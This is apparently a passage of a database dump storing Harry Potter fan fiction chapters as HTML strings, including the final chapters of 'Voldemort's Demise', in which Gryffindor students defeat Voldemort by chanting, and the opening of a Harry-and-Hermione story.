shifting\ncolors visibly right there. I gasped softly at the beauty of the bush.\nSlowly we walked on by as the bush changed from deep magenta to a bright\nred, then and orange, then a bright yellow. About a half hour later, it\nbegan to drizzle lightly. Several students pulled the hoods of their robes\nup, including Ron. I had my head down and was peering at a cluster of yellow\nferns near the ground. I saw a small sliver of light, then a little streak\nand just as quickly, it disappeared and left a small round...rainbow. <i>Oh</i>...\nI mouthed, my eyes going wide. I had never seen a rainbow like that, not\nright on the ground. It made a small colorful circle and faded in an instant.\nIt was gone so fast that I thought maybe it was my imagination. But I knew\nit wasn\'t when I heard Mintra McGonagall, Professor McGonagall\'s great-niece,\nsqueal, "Ooooh, look, a rainbow right here by tree root!" Several of us\npeered over and sure enough, there was a nice round little rainbow right\nby a bare tree surrounded by metallic red leaves. It was soo beautiful!\n<br/>        "Hey, look another rainbow!"\nHermione called and there were more <i>wooo</i>\'s by another clump of purple\nbushes. I gasped and Ron whooped when we saw another rainbow circle on\nthe ground in front of us by a pile of gold leaves. They became more frequent\nas we walked on and hiked down a hill. By then the drizzle came down steadily\nand I was growing damp. It was delightful; rain has never bothered me.\nMore whoops and squeals arose from the group as we spotted more rainbows\namong the bright leaves.\n<br/>        "Ohhh, this is so lovely,\nRon," I was feeling really happy now.\n<br/>        "There are..." Ron grinned.\n"Heyy, look, there\'s one there..." Another rainbow circled a cluster of\nmulti-colored ferns, which also changed colors rapidly. By the time we\nheaded back to the lodge, the drizzle had slowed and it was growing dark.\nThe rainbows faded when we reached the end of the woods and headed toward\nthe lodge, a small stilted stone and wood building. We went in and got\nready to eat.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>        After we ate, we sat in a\ncircle in the main room and pondered the question of where we\'d see ourselves\nten years from now. There were a lot of interesting answers, including\nauror, news reporter, pro Quidditch, etc. Ron saw himself either in pro-Quidditch\nor working in the Ministry like his dad. I saw myself either in music or\nteaching. I haven\'t really decided if the instruments I\'ll play will be\nmagical or muggle. Mum played the violin and the bariol, a wizard/witch\ninstrument in several groups before she turned to teaching music. I\'ve\ntaught myself to play the bariol, the piano, and the violin these past\nfew years. My great-aunt Miranda tells me I\'ve inherited Mum\'s musical\ntalent. Hermione is planning to either go into teaching or be a news reporter.\nThe next activity was everyone dividing into their years. All of us seventh\nyears were on one end while the first years were on the other. Each year\ngot a different thing to reflect on and the seventh years were to reflect\non what was the most life-altering experience of our almost seven years\nat Hogwarts.\n<br/>        "Mine\'s kind of easy," Ron\nspoke up. "I could say the floo-jacking last year, but I think it was more\nwhen I became the Quidditch captain last year."\n<br/>        "Oh?" I raised an eyebrow\nas I peered at my friend.\n<br/>        "Well...I think I\'ve become\nmore responsible and honed in on my Quidditch skills more, not to mention\nbecoming better organized." We all chuckled at that. Bit by bit, all of\nus went around. Mine somewhat easy, yet complicated.\n<br/>        "Cedric\'s death at the end\nof the fourth year and that summer afterward," I said. For the first time,\nI told the rest of the seventh-year Gryffindors the harrowing experience\nI\'d had coping with the loss of Cedric, a bit of what I\'d endured with\nmy aunt and uncle, the Dursleys, told them I\'d run away after one fight\ntoo many with my Uncle Vernon, then found out about my great-aunt Miranda,\nwho I hadn\'t known about. Thank the Merlin\'s stars she could take me in\nand I never had to return to Uncle Vernon and Aunt Petunia again. Aunt\nPetunia is Mum\'s sister and is a muggle. She was jealous of Mum and bad-mouthed\nher almost constantly and she and Uncle Vernon were often cruel to me.\nThey had a son, Dudley, whom they spoiled rotten.  It turned out that\nUncle Vernon had actually gotten guardianship of me illegally.  I\nfound this out back in my fifth year.  Aunt Miranda had been cursed\nwith a memory-loss charm, which took her several months to recover and\nby the time she did, Uncle Vernon had falsely claimed his family to be\nmy only living relatives and even had a false death certificate made out\nin Miranda\'s name, so Dumbledore and McGonagall thought she was dead. \nOf course, the Dursleys never let on where they were living, so for a long\ntime, Miranda had no idea where I was in London, which is a huge city. \nFor that fraud, Vernon got six months in jail.  I\'ve also heard that\nPetunia and Dudley stayed with some neighbor of theirs since Petunia doesn\'t\nhave a career. Who knows where they are now, except not on Privet Drive\nanymore?  I\'ve not seen them since I ran away from them the summer\nafter my fourth year  and I have no desire to see them again. I\'m\nso glad I have Great-Aunt Miranda back, who\'s much kinder and more understanding.\nThe two of us have formed a close bond and now I go home to her for holidays\nand summers. I\'m really going to miss her next year when I go away to college.\nHermione then added something about her younger sister, Aileen, who is\nnine. It turned out that Aileen is also a witch. Their parents are muggles.\n<br/>        "...so, Aileen has two more\nyears to go before she gets her letter," Hermione finished. It\'s something\nof a Hogwarts tradition for many witches and wizards in the London area\nto get their letters around their eleventh birthdays accepting them into\nHogwarts and giving them a list of supplies they need to get for their\nyears at Hogwarts. I sure remember getting mine. I was living with the\nDursleys then and of course they didn\'t want to let me go and hid my letter.\nMore letters came and finally, Hagrid, Hogwarts\' groundskeeper, came to\npick me up. That had been another life-altering experience for me.\n<br/>        The night wound down as\nwe got back into our large group. We then said the Gryffindor chant. It\'s\nabout courage and dignity and staying united in the face of all obstacles\nand using good to overcome evil. The part I like best is, <i>may all of\nus stand courageous in the face of turmoil and when we fall, get back up\nand continue moving</i>. We then trickled to bed. It was growing windy\nand several of us whispered little things back and forth before drifting\noff to sleep.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>        It must have been a few hours\nlater when I found myself awake. I felt a tenderness in my forehead and\nmy hand automatically went up to my scar. It felt sore. Sitting slowly\nup, I looked at the clock. <i>2</i>:<i>19</i>, it read. It hadn\'t hurt\nsince last spring with the floo-jacking incident. Could Voldemort...? I\nworried, my throat dry. I sat for a few minutes, but only heard the wind.\nThe pain didn\'t get worse to my relief, but it stayed steady for a while,\na dull ache. I clutched at the scar, feeling worried little lines wrinkle\nthe middle of my forehead and slowly got out of bed and peered out the\nwindow discreetly. Nothing unusual out there. Grabbing my wand, I held\nit out, murmuring the spell to have it detect any other presence besides\nus. None.\n<br/>        "Harry...?" Someone whispered.\nI jumped nervously, then let out my breath to see that it was Madame Hooch.\n"Are you all right, darling?" She just come out of the women\'s bathroom\nand was on her way back to bed when she\'d seen me.\n<br/>        "I..." I touched my scar\nagain. "I\'m..." I swallowed, my throat still dry. "...not sure...my scar\'s\nsore..."\n<br/>        "Oh...dear," Madame Hooch\nput an arm around me and she and I headed back to the end room where she\nshook McGonagall awake.\n<br/>        "What...?" McGonagall sat\nup and put her glasses on. "Is everything...? No, I think not." She got\nup and I followed them as they slowly walked down the hall.\n<br/>        "Maybe we should contact\nthe aurors..." Madame Hooch told her. McGonagall nodded, then using a nearby\nfireplace, contacted several of them. Several of them apparated and Madame\nHooch whispered, "Why don\'t you go on back to bed and we\'ll see that everything\'s\nall right outside." I nodded and did. I didn\'t sleep, however, until Madame\nHooch came in and whispered that they\'d detected no one outside. Two of\nthe aurors, however, would remain on the grounds to insure that everything\nwould be all right, at least for the rest of this retreat. I hoped it wasn\'t\nVoldemort back again. By then the pain in my scar had faded. I just felt\nslightly dizzy and drifted off to sleep.\n<br/> \n<br/> \n<br/> \n<br/> \n\n\n'),
	(114, 3, '<div class="center"><b>Voldemort\'s Demise</b>\n</div><p><i>By</i>: CNJ\n</p><p><i>PG-13</i>\n</p><p><b>3: The Final Struggle Between Good and Evil</b>\n</p><p><b><span class="u">Harry</span></b>:\n</p><p>        Most of Friday passed quietly\nenough. We carried on with more retreat activities and my scar wasn\'t sore\nthen. We spent the late afternoon meditating to quiet melodies of wizard/witch\nmusic, which resembles muggle New Age music, but uses more instruments.\nIt was in a room where there were actual spells you could use to create\na relaxing atmosphere for yourself like a beach or clouds in the sky. I\npicked the clouds and actually felt as if I were floating on one way in\nthe sky. Free, above everything. They\'re actually experimenting with that\nfor real in various flying research labs all around the wizard/witch world\nin various countries, including here in England, in Ireland and in the\nUnited States. That\'d be nice if we were able to just float around in the\nclouds without even needing brooms. It\'s still a long way off, though,\nfrom becoming reality. Once the music faded, we all slowly came back to\nthe present and trickled out of the room, feeling peaceful. Dinner was\na couple of hours away, so we had some free time. McGonagall warned us\nnot to wander off too far or go into the woods. Some of us, including my\nfriends and I went out onto the porch just as the sun was setting and talked\na while. A big chunk of our conversation included our college plans. I\'d\napplied to several colleges along with my friends and most of us wouldn\'t\nbe hearing from them until spring. Hermione had applied to Oxford. I\'d\napplied to Andrews and Wallace Arts College in Liverpool, which has an\nexcellent music program there. It\'s a mix of muggle and magical students\nthere.\n<br/>        "If Quidditch doesn\'t pan\nout, I think I\'ll go into dragon research like my brother, Bill," Ron told\nme.\n<br/>        "Oh, Ron, that\'s great that\nyou\'re making backup plans," I smiled softly at my friend. Quidditch is\na big chunk of Ron\'s life, but Hermione, Cheria, and I always thought he\nshould have backup plans since it\'s very hard to get into pro Quidditch.\n<br/>        "Of course, I\'ll have to\ntake more dull science classes and even more potions in college," Ron rolled\nhis eyes and we chuckled. Studying is not one of Ron\'s favorite things\nto do. More kids came out, including Ginny and Neville, who seemed to be\ndeep in conversation. They waved to us, then stood to one side of the porch.\nIt grew darker and eventually once the sun was down, the whole sky turned\na deep, beautiful purple that took my breath away. The purple seemed to\nspread all over like a liquid, creating a deep purple hue over everything.\n<br/>        "Oh, how lovely..." I murmured.\n<br/>        "It is beautiful," Cheria\nadded. The wind picked up and we stood close and watched the deep purple\nfade into a dark blue, then the dark of night took over and we went in\nto eat.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>        Dinner was a lively affair\nand I had to smile as I noticed Ginny practically sitting in Neville\'s\nlap. Funny, but I\'ve seen the two of them deep in conversation a lot lately.\nI noticed Ron, Hermione, and Cheria grin at them several times too. By\ndessert, I had to get up and pee and as I headed into the bathroom, I saw\nParvati Patil with Boris Uran by the bathroom making out. They saw me and\ngiggled and I had to blush as I went into the bathroom and peed. As I was\ngoing back, they went into a back closet and I blushed again when I heard\nthem giggling. I stood by the main room, trying to will the redness out\nof my face, so the others wouldn\'t wonder why I was so red in the face.\nOnce I thought most of the red had faded, I came back in. Once we finished\ndessert, we sat around in a circle to have tea and exchange advice on various\nsituations we were dealing with.\n<br/>        "Harry..." Mintra asked\nsoftly. "Are you feeling better from last week?" I knew she was referring\nto the incident with Malfoy and I nodded.\n<br/>        "The odd thing is that Malfoy\nused to make me so angry, now he doesn\'t," I told the others softly. "I\nrealize that he just is...lost inside and is dealing with a lot at home\nand all."\n<br/>        "His dad\'s in Azkaban, isn\'t\nhe?" Bernard Mars put in.\n<br/>        "Yeah..." Several others\nchimed in.\n<br/>        "Possibly Mr. Malfoy...was\nlost somewhere along his growing up years," I pondered. "And covered it\nup with hate and passed it on to his son." Ron stifled a laugh, letting\nout kind of a snort. "No, it\'s really possible," I added.\n<br/>        "I was remembering...once\nmy dad got into an actual fistfight with Malfoy\'s dad," Ron put in. Hermione,\nGinny, and I nodded, remembering that. It had been in Diagon Alley, the\nweek before we started our second year.\n<br/>        "I think what happens with\npeople who tear others down is that they get a brief high, but later on\nfeel worse about themselves as they alienate others more," Hermione added\nsoftly. A lot of us nodded, seeing that point.\n<br/>        "It then turns into a vicious\ncycle," McGonagall put in. We were quiet a minute. As we mulled over this,\nthe wind seemed to be picking up outside. I don\'t know when, but I thought\nI heard a soft tune outside, carried by the wind. My scar jolted, then\nbegan to hurt.\n<br/>        "Harry...are you all right?"\nHermione asked as the others looked over.\n<br/>        "I...did you hear that?"\nI asked. "A song, kind of humming outside?"\n<br/>        "That\'s crazy, Harry, no\none can command the wind..." Dean started to say, but several others went\n<i>shhhh</i>... We all fell silent, frozen in position for a long minute.\nYes, there was the tune again. It wasn\'t really singing, but more of a\nhypnotic humming.\n<br/>        "There it is, there it is..."\nI quavered. My heart began to pound wildly and my scar pulsed and hurt\nmore intensely. "He\'s here...oh, God..." I had to fight down the panic.\nMcGonagall came over and put an arm around me and I could feel myself start\nto tremble. Hermione stroked my back from the other side.\n<br/>        "We have the aurors guarding\nthis place," Ron tried to comfort me. I saw some of the others were getting\nfrightened too. Ginny and Neville clutched each other and several others\nmurmured nervously. The wind blew louder and the tune rose...and rose.\n"Don\'t we have the aurors, Professor?" Ron asked. I thought I saw a movement\nin the forest in the distance.\n<br/>        "Yes, but I\'d better investigate,"\nMcGonagall moved away and put on a cloak. "Nadine, will you remain here\nwith the students..."\n<br/>        "We\'re coming with you,"\nHermione stood and walked over. Several others joined. McGonagall\'s eyes\nwidened as she peered at us.\n<br/>        "It won\'t be safe..." she\nstarted.\n<br/>        "It won\'t be safe just you\ngoing," Cheria added, "But with all of us along, we have a better chance\nof standing strong if it is Voldemort." Most of us added our agreement.\n<br/>        "Maybe this once, we can\nconfront him once and for all," I added, even though I was still shaking.\nI guess McGonagall knew we weren\'t going to give up, so we all decided\nto go, including Madame Hooch.\n<br/>        "Does everyone remember\nthe spells for staving off curses?" Madame Hooch asked us once we\'d grabbed\nour wands and stepped out into the wind. We all said yes. Madame Hooch\nthen told us all to stay together. The wind was howling out here and it\nwas cold. I was glad I had a thick Hogwarts sweatshirt on under my cloak.\n<br/>        "Oh, God, he\'s going to\nkill us all," I whimpered as we got closer to the woods and I saw the shadow\nagain.\n<br/>        "No, he won\'t," Hermione\nwhispered back. "Not if we remember that spell we read about on the Net\nabout making the circle...the one that the group in that small American\ntown did to defeat the evil witch that lived there."\n<br/>        "Yes, I think I remember..."\nWe\'d read about that earlier in the month on a website on one of the computers\nin the library. They\'d formed a circle around this evil sorcerer and chanted\nspells and eventually she\'d faded into nothingness, the evil vanquished.\n<br/>        "I think we\'d better..."\nHermione waved McGonagall over and I guess whispered what the spell was.\nMcGonagall nodded.\n<br/>        "It sounds like it\'s worth\na try," she told her. We gathered around and McGonagall softly told us\nthe plan. Once we saw Voldemort, we\'d surround him and chant the Hogwarts/Gryffindor\nspells in the hope that the evil would be driven away. Merlin knew if he\'d\ndisappear, fade or do what, but there was only one way to find out. And\nwe all hoped to the stars that it would work.\n<br/>        "And we\'ll all say <i>Voldemort</i>\ninstead of <i>You Know Who</i> or anything," I added.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>        We walked into the woods,\nwhere it was really windy and pitch black. Several of us cling to each\nother and I could feel my teeth rattling. Hermione held my hand and I could\nfeel her shaking too. As we came to a clearing, we saw the shadow again\nand up above the moon came out briefly, then vanished behind the clouds\nlike someone peering into a window. That brief shaft of light gave us a\nglimpse and it was indeed, Voldemort. I\'d recognize those pale, glittering\neyes anywhere. And that high, buzzing snicker. Abruptly, he turned by a\nhigh rock and peered at us from under his hood.\n<br/>        "Soooo, you\'ve come for\nmore vengeance," he purred, causing chills to run down my back. "Looks\nlike you have a little family here. Oh, I\'m afraid I\'ll eventually have\nto do all of you in."\n<br/>        "We haven\'t come for vengeance,"\nMcGonagall said softly. "We\'ve come for just one thing...to chase away\nall evil, including the evil that\'s taken over your soul and heart." Without\nwords or further instructions, all of us grabbed hands and formed a circle\naround the rock and Voldemort.\n<br/>        "Whaat evil?" Voldemort\nbellowed. "I tried to bring order to the wizardry until you Gryffindors\nand other corrupters disrupted our plans...the likes of Dumbledore, the\nWeasleys and the Potters to name a few!" With that, Voldemort saw me and\nglared and it made me swallow. Voldemort gave a mean, wry grin at seeing\nmy fear and nodded. The wind blew louder and harder, blowing the hood off\nVoldemort\'s cloak. His pale eyes glowered at us. "All of you will pay for\nlast spring..." he hissed, referring to his followers being carted off\nto Azkaban for the floo-jacking. We started our chants, hoping for the\nbest. I just hoped he wouldn\'t kill us all right on the spot. "What is\nthis silly game this time?!" Voldemort roared, realizing that he was surrounded.\n<br/>        "Louder...louder..." McGonagall\nurged the rest of us. She along with the rest of us strained to raise our\nvoices above the howling wind. Voldemort\'s eyes widened in outrage as he\npointed his wand.\n<br/>        "Avera Kedevra..." he bellowed\nthe most dreaded killing curse. My voice faltered a minute and I had to\nswallow again as I saw the green light shoot from the wand. But it fizzled\nquickly and only McGonagall and Ginny jumped a little, but we kept chanting\nand singing...the Hogwarts songs, the chants to drive away evil spirits,\nthe Gryffindor song of courage in tough times. Voldemort tried to throw\nout the curse several more times, but only succeeded in producing no more\nthan a mild electric shock. I got several. I was seeing Voldemort\'s face,\nbut the harshness of the image was softened by images of my parents\' faces,\nimages of my classmates over these past nearly seven years...other encounters\nI\'d had with Voldemort...the painful on at the end of my fourth year where\nI\'d seen Cedric Diggory die. My breath caught and my hand holding the wand\nbegan to shake. I fought to steady it. One of our incantations had a name\nin it and we all said <i>Voldemort</i> clearly. Voldemort seemed to stumble\nand leaned on the rock. He dropped his wand and the curses stopped coming.\nBut still we kept on, moving closer.\n<br/>        "You all may think you\'ve\nweakened me again..." Voldemort panted. "But I will regain my strength\nthis time more quickly and you all will pay..." He slowly leaned back and\nsomething about the way he slumped reminded me of a position he\'d assumed\nas Tom Riddle. I\'d seen that picture when I\'d gotten hold of his magical\ndiary back in the second year.\n<br/>        "Tom..." I said suddenly.\n"Tom..." Several others glanced at me. A surge of inspiration came to me\nand I called to the others, "His name\'s Tom...Tom Riddle..."I kept calling.\nOthers joined in calling, <i>Tom Riddle</i>...<i>Tom</i>...<i>Tom</i>...\nVoldemort let out a moan, then a yowl as he slumped further down.\n<br/>        "Tom no longer is alive..."\nhe heaved.\n<br/>        Undaunted, we moved closer,\nthe wind whipping through us and continued calling "Tom Riddle...Tom...you\'re\nTom Riddle...Tom...Tom...Tom..." A high wail rose up from the crumpled\ncloaked wizard on the ground and eventually the howl rose higher and higher\nuntil it faded and the body on the ground lay flat, then dissolved into...nothingness.\nThe wind kept blowing and ashes blew from the now-empty cloak. There was\na fluttering and several bats flew into the air and took off into the night.\nMcGonagall and Hooch stepped forward with their wands and poked at the\ncloak. There was nothing there and even the ashes were blown away. A faintly\nwaxy smell rose into the air, but that faded.\n<br/>        "He\'s gone..." Hooch whispered\nin disbelief. We tentatively let go and moved closer. There was nothing\nbut the cloak. Using our wands, we checked around and realized that yes,\nVoldemort the evil wizard was indeed...gone. Gone.\n<br/>        "We did it," Hermione whispered.\n<br/>        "We quashed out the evil,"\nCheria added. We stood silent a long minute, amazed by what had just happened.\nI myself went numb for a minute, not quite believing that any of this was\nreal, fearing that I\'d wake up and Voldemort would still be lurking around.\nI swallowed a third time, from relief or anxiety this time, I didn\'t know.\nA huge loud <i>WHOOOOP</i>! rose up from several Gryffindors just then,\nincluding Hooch and that told me that I was not dreaming, that we\'d actually...defeated\nVoldemort using our good to overpower his evil. We all then exploded into\nbellows, cheers, and yowls and all of us back-slapped and hugged.\n<br/>        "Oh, he\'s GONE!" Hermione\nbellowed as she and I hugged.\n<br/>        "We diiiid IIIIT!" Ron\'s\nhowl echoed in the wind. We continued carrying on all the way back to the\nlodge. McGonagall and Hooch notified Hogwarts right away and the aurors\nwho\'d been watching the woods had checked around and confirmed that Voldemort\nwas indeed gone from this earth.\n<br/>        "There will be a special\nfeast of honor for the Gryffindors on Saturday evening when you return,"\nDumbledore told us via floo-speaker at the fireplace. "And the Gryffindors\nare awarded ten-thousand points for their triumph. Have a wonderful rest...you\'ve\nearned it." Dumbledore grinned as he faded out. We all whooped and bellowed\nagain. A few of the younger students cried some and we all sat to have\ntea and Hooch and McGonagall magicked over a huge snack feast from a local\nwizard deli. I was still a bit in a daze, but it began to sink in...our\nvictory. I never really expected us to defeat Voldemort the way we did.\nI\'d been afraid we\'d have to go into a violent battle with lots of innocent\npeople being killed. Looking back, I wondered why didn\'t we think of this\nearlier. I voiced this to my friends and they wondered why too.\n<br/>        "Now we know," Ginny put\nin. "Merlin forbidding, we should ever have to use it in the future should\nanother evil sorcerer rise again."\n<br/>        "Let\'s make sure this gets\npassed on to future generations," Hermione put in. We all nodded, looking\ninto the softly glowing fireplace Thanks to this victory, now future generations\nwould be safer and evil had lost a foothold in this world...we could hope.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>        We didn\'t go to bed until\naround two in the morning and we slept in the next morning until late.\nI was the last one up and by the time I crawled out of bed, everyone had\ngone to the main room, I guess to have breakfast...or lunch, I thought\nas I looked at the clock and saw that it was eleven-thirty. I slowly got\ndressed and trudged into the main room, groggily rubbing my eyes, carrying\nmy glasses.\n<br/>        "There\'s Harry..." someone\nmurmured.\n<br/>        "Sleep well?" Hermione asked\nas I put my glasses on and sat, yawning. I nodded, my eyes still drooping.\nI felt like a sleepy cat. Hermione then peered more closely at me, then\nher eyes widened. "Your scar...it\'s gone!"\n<br/>        "Whaaa..." others peered\nover and I jolted awake some. My scar...? I felt my forehead and sure enough,\nI didn\'t feel the familiar pitted lightening-shaped scar. I jumped up and\nran over to the mirror in the hall. Lifting my bangs, I looked and the\nmirror confirmed that my scar was indeed...gone. I came back to the table,\ndazed again and smiling faintly.\n<br/>        "Way to go, Harry!" Ron\nand Cheria whooped.\n<br/>        "Voldemort...Tom Riddle\nreally is gone!" Ginny chimed in. McGonagall and Hooch saw it too and smiled\nover at me. Others gushed over my scar\'s disappearance and I blushed several\ntimes as we ate. I think by the end of the meal, my face resembled an apple.\nAnd it was still red in the early afternoon when we began packing to head\nback to Hogwarts.\n<br/>        "Ohhh, dear..." I muttered.\n<br/>        "What is it?" Ron asked,\ntossing several of his pants into his overnight bag. "Your face is still\nred."\n<br/>        "If I\'m this red now, I\nbet I\'ll be fuschia tonight when everyone sees that my scar\'s healed,"\nI smiled ruefully and finished packing and zipped up my overnight bag.\n<br/>        "You\'ll probably look like\nlast night\'s sunset," Ron joked. "Then we can use your face to demonstrate\nhow the sun set here." We both laughed and headed out to get ready for\ntonight.\n<br/> \n<br/> \n<br/> \n<br/> \n</p><p>Sooo, what do you all think of this victory? This story\'s winding down;\nI think it\'ll be one more chapter, then this story\'ll be done! And I\'ll\nbe adding more Harry Potter stories as well, so stay tuned!\n\n\n'),
	(114, 4, 'At laaast! The final\ninstallation of <i>Voldemort\'s Demise</i>! I hope you\'ve enjoyed this story!\nThere will be more stories coming soon, so stay tuned and thanks for the\nreviews, esp. JP Vulcan, Aftertaste of a Razorblade, and Esperanza! I\'ll\nkeep checking out your stories as well! The usual disclaimers and also\nin case anyone wonders where Cornelius Fudge went in my stories, he\'s left\nthe Ministry in Harry\'s sixth year; I think it\'ll be in relation to the\nfloo-jacking incident. I\'ll explain it more as I add more stories. Meanwhile,\nenjoy!\n<br/> \n<br/> \n<br/>\n<p><b>Voldemort\'s Demise</b>\n</p><p><i>By</i>: CNJ\n</p><p><i>PG-13</i>\n</p><p><b>4: Victorious Gryffindor Champions</b>\n</p><p><b><u>Harry</u></b>:\n</p><p>        What a weekend we had! Actually,\nwhat a week the wizard/witch community of London had! The Gryffindors came\nback to Hogwarts late Saturday afternoon to an overwhelming hero\'s welcome.\nThe dinner that night was a spectacular feast and several members of the\nministry were there to congratulate us and McGonagall and Dumbledore formally\nawarded the Gryffindors ten thousand points. McGonagall and Hooch also\nwere formally awarded by the Ministry for their courage. The Great Hall\nfairly shook with whoops and mirth.\n<br/>        "...and for each of the\nGryffindors..." the Minister of Magic, Merle Branswith announced. "A medal\nof honor." With that, a medal appeared around each Gryffindor\'s neck.\n<br/>        "Wow..." several of us gasped.\nThe medals were beautiful! I gasped as I looked at mine and the others\nexamined theirs.\n<br/>        "Wicked..." Ron grinned.\n<br/>        "And with that joyous note..."\nDumbledore added with a huge smile. "Let the feast begin!" The food was\nmore fantastic than usual and we dug in. Word about my scar being gone\nspread through Hogwarts like a spilled potion and I lifted my bangs an\nawful lot that night to show them my now-scarless forehead. My bangs are\nsort of parted on the left side since I was sixteen, so finally I ended\nup borrowing Neville\'s comb and combing my bangs so they parted on the\nright side where my scar had been, so the others could peer over. Of course,\nI blushed all over again and had another ton of food with a red face.\n<br/>        "Wow, I\'m finally stuffed,"\nHermione leaned back and stroked her stomach with a grin.\n<br/>        "Me too," Ginny added. "I\nhardly had room for dessert." I was full too and the fullness made me pleasantly\nsleepy. The <i>Daily Prophet</i> had appeared in the middle of the table\nwith the food and of course the headline read <i>Voldemort Finally</i>\n<i>Permanently Defeated!!!</i> It went on to read about us Gryffindors\ngathering around to squash the evil out of him and had brief interviews\nwith McGonagall, Hooch, and Dumbledore. And it also added that at this\nmoment wizard/witch towns and cities all over were celebrating, including\nHogsmeade, Godric\'s Hollow, and Lyric\'s Lot. <i>Hogwarts has proved itself\none of the finest schools in the world to turn out fine young women and\nmen of courage and love</i>, the article finished. There were magical photos\nof the celebrations and of a groups of aurors examining what had been Voldemort\'s\nrobe and footage of Quarry Grounds where we\'d defeated Voldemort. The issue\nwas extra-thick.\n</p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n</p><p>        The next week passed in a\nhaze of triumph. Classes were canceled for Monday and Tuesday, so we had\na bit of a holiday. Owls poured in all week congratulating us and Aunt\nMiranda sent me one as well as Sirius. My friends also got letters congratulating\nthem.  <i>If only your mum and dad were here to see what a fine young\nman you\'ve developed into</i>, Aunt Miranda had written. <i>They would\nbe speechless with pride and joy</i>. Thinking of my dear, dear parents\nbrought tears to my eyes and I had to wipe them away as I re-read the letter\non Tuesday evening and owled her back. Once classes were back on Wednesday,\nit was still a bit of a circus, especially since reporters from various\nnewspapers, mostly from the <i>Daily Prophet</i> came and interviewed various\nstudents and took several group shots of the Gryffindors. And naturally,\nthey had plenty to say on my scar\'s disappearance. Rita Skeeter caught\nup to me in the hall and took a photo while using her wand to blow my bangs\nupward some. I grinned sheepishly and obliged her. Friday\'s <i>Prophet</i>\nhad the picture and there was a short article that announced,  <i>The\nscar that had so long marked the forehead of the young wizard Harry Potter,\nwho is now a seventh-year student at Hogwarts, is gone</i>.<i> Supernatural\nanalysts believe it is the vanishing of the evil spirit of Voldemort that\nfinally dissolved the scar tissue, which allowed the skin to heal and the\nscar to vanish</i>.<i> Harry says he still is just beginning to believe\nthat he is finally free of the scar and it\'ll take some getting used to</i>.\nI smiled ruefully as I read the article at breakfast that morning. Me,\nthe fodder for supernatural analysts, I thought. Yes, it would take a bit\nof time to touch my forehead and not feel the pitted lightening-shaped\nscar there that had so long dominated my forehead.\n<br/>        "I say you still look the\nsame," Cheria grinned at me.\n<br/>        "Kind of like a haircut\nor something," Ron added. "A little different, but still basically the\nsame. I noticed your part is on the right side now." It was true. Up until\nI was sixteen, I\'d just had my hair straight down and no part really, but\nonce I started my sixth year, I\'d layered my thick black hair and sort\nof parted it down the left. I still had the bangs, but they were parted\ntoo and had covered the scar. Now I didn\'t have the scar to worry about\nany more.\n<br/>        "More flexibility without\nthe scar," I quipped. We all laughed some, then finished our food and got\nready to head to class. We took the outdoors way and headed across the\ncourtyard to get to the classrooms.\n<br/>        "Hey, it\'s snowing!" Hermione\ncalled. Sure enough, in the early December wintry light, small flakes were\nmeandering down from the sky.\n<br/>        "I hope we have snow for\nChristmas," Ginny added.\n<br/>        "Me too," I added. It wasn\'t\na heavy snow and it didn\'t appear to be sticking, but it gave enough of\na holiday feel to remind us that Christmas was less than a month away.\nIn addition, with Voldemort gone for good, we all knew this holiday season\nwould really be a reason to celebrate.\n<br/> \n<br/> \n<br/>\n</p><center>\n</center><p></p><p><i>75 % Storyline Copyright 2002 by </i><b>CNJ</b>\n</p><p><br/>\n'),
	(115, 1, '\n\n\n\n<p class="MsoNormal">Disclaimer: I don&#8217;t own\nHarry Potter and Co&#8230;if I did, believe me, Harry and Hermione would already\nofficially be together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Ok, here&#8217;s another\nlittle standalone fic I thought of a few days ago. I&#8217;m still going over in my\nhead the ideas I have for the sequel to &#8216;Just Kiss Me&#8217;. While you&#8217;re waiting,\ncheck out some of my other fics! The new one should be out in a few weeks cause right now I&#8217;m about to head into my last week of\nschool and then I&#8217;m off to the Caribbean for a week! YAY! And once again, thanks Ryoko Blue\nfor helping me out with a few things!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Plot: H/H are studying for\nN.E.W.T.S. in the library together, both like each other but are way too shy to\nadmit it. A lot of this is in Harry&#8217;s POV.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;N.E.W.T.S.&#8217; Harry thought, &#8216;Were\nput on this earth to make our lives miserable.&#8217; He scratched his quill over his\nparchment as he took notes from a History of Magic textbook. He sat back and\nsighed, rubbing his weary eyes. He and Hermione had been studying in the\nlibrary since dinner, and it was now getting close to midnight. He peeked through his bangs at Hermione, who looked\neven more tired than he was. Harry didn&#8217;t know how she was doing it- going to\nclasses, studying, and keeping up with her duties as Head Girl. She looked up\nat him in that moment and gave a small smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How&#8217;s everything coming?&#8221;\nshe asked. Harry shrugged.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Alright I guess. I don&#8217;t\nthink there&#8217;s too much more to do.&#8221; He replied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She nodded and bent her head\nto look at her books once more. Harry decided to take a little break, and was\nable to watch her for a few more moments without her knowing. He bit his lower\nlip as he thought back on their years here, more importantly, their past two\nyears. During their 6th year, Voldemort had somehow gained entrance\nto the school, and reopened the Chamber of Secrets. Knowing how important\nHarry&#8217;s relationship with his friends was, he had managed to kidnap Ron and\nHermione and hold them down there, baiting Harry. He of course had gone down\nthere after them, and the outcome had finally been completely favorable, 